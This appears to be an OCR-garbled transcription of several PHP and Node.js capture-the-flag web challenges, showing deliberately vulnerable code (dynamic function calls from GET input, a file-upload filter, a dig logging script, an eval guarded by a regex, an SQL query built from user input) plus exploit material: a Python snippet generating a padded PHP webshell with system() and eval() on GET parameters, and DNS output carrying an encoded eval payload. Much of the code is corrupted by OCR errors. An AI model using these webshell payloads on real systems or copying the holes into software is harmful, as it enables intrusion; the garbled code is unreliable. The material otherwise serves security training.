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easy - function

5% php 7.2.12, apache 2.4.25

<?php
$action = $ GET['action'] ?? '‘;
$arg = $_GET['arg'] ?? '';

if(preg_match('/~[a-z0-9_]*$/isD', $action)) {
show_source(__FILE_ );
} else {

$action('', $arg);
}
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php 7.1.24. apache
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<?php
function is_php($data){
return preg_match('/<\?.*[(";?>].*/is', $data);

if(empty($_FILES)) {
die(show_source(__FILE_ ));

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file'][ 'tmp_name']);
if (is_php($data)) {

echo "bad request";

} else {
@mkdir($user_dir, ©755);
$path = $user_dir . '/' . random_int(e, 10) . '.php';

move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
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preg_match('/<\?.*[\(\ ].*/is"', $data);
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reat_str = 'a' * 1000 * 1000
text = "<?php /*' + reat_str + '*/;echo "aaa";system($_GET["b"]);eval($_GET["a"]); /*' + reat_str + "*/?>"
print text
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php 5.6.23. apache



<?php
if(isset($_GET[ 'read-source'])) {
exit(show_source(__FILE_ ));

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(lis_dir(DATA_DIR)) {
mkdir (DATA_DIR, @755, true);

}

chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';

$log name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>

<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log _name = $_SERVER[ 'SERVER_NAME'] . $log_name;

if(!'in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtm
file_put_contents($log_name, $output);

echo $output;
endif; ?>
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$ dig - JEI1 4 "JRE

; <> D16 9.10.6 <<>> " Tl Ml = 4" u &

;3 global options: +cmd

;3 Got answer:

;3 —>>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 62028

;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: @

;3 QUESTION SECTION:
IS _' " A" B

53 ANSWER SECTION:
FRSY S | QN R T8 CNAME  PDOwaHAgZXZhbCgkX@dFVFsnYSddKTsgPz4vLy8v.

l; AUTHORITY SECTION:

3600 IN a.root-servers.net. nstld.verisign-grs.com. 2017022302

1800 900 604800 86400

;3 Query time: 835 msec

;5 SERVER: 114.114.114.114#53(114.114.114.114)
;5 WHEN: Sun Nov 25 20:43:31 (ST 2018

;3 MSG SIZE rcvd: 164
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php 5.6.38. nginx

<?php

if(';" === preg_replace('/["\WI+\((?R)?\)/", "', $_GET['code'])) {
eval($_GET['code']);

} else {

show_source(__FILE_ );
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function safeKeyword(keyword) {
if(isString(keyword) && !'keyword.match(/(union|select];|\-\-)/is)) {
return keyword

return undefined

}

let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')

if (username && password) {

let user = await ctx.db.get( SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
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